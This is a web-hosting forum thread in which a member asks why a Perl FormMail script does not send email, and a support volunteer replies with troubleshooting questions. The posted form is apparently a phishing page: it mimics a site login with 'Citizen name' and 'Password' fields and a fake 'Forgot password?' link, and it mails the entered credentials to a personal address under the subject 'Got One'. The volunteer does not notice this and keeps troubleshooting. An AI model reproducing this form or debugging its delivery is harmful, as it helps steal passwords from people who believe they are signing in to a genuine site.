FormMail

Status
Not open for further replies.

kilbupere80

New Member
Messages
2
Reaction score
0
Points
0
Does not work. The code looks to be fine. Everything works fine but FormMail doesn't send the emails.
 

descalzo

Grim Squeaker
Community Support
Messages
9,372
Reaction score
326
Points
83
Is this PHP or Perl?

How is the "From" field set up?

Have you checked the spam folder at the destination email account?
 

kilbupere80

New Member
Messages
2
Reaction score
0
Points
0
Is this PHP or Perl?
Perl

How is the "From" field set up?
(Form field)
Code:
<form action="/cgi-bin/FormMail.pl" method="post">
<input type="hidden" name="recipient" value="kilbupere@aol.com"><input type="hidden" name="subject" value="Got One">        <div class="half">
            <div class="fieldname">Citizen name</div>
                <input type="text" name="name">
               <a class="smalldotted goleft" tabindex="4" rel="nofollow" href="/en/forgot-password">Forgot password?</a>        </div>
        <div class="half">
            <div class="fieldname">Password</div>
                <input type="password" name="password">
              <input type="checkbox" name="remember" id="remember" value="1" class="check" tabindex="5" />&nbsp;
            <label for="remember">Remember me</label>
        </div>
            <input type="submit" value="Submit" name="Submit">            </form>
Code:
#!/usr/local/bin/perl
Code:
$mailprog = '/usr/sbin/sendmail -i -t';
Code:
@referers = ('x10hosting.com', 'Aol.com', 'kilbupere.x10.mx');
Code:
@recipients = &fill_recipients(@referers);
Code:
@valid_ENV = ('REMOTE_HOST','REMOTE_ADDR','REMOTE_USER','HTTP_USER_AGENT');
Have you checked the spam folder at the destination email account?
yup
 
Status
Not open for further replies.
Top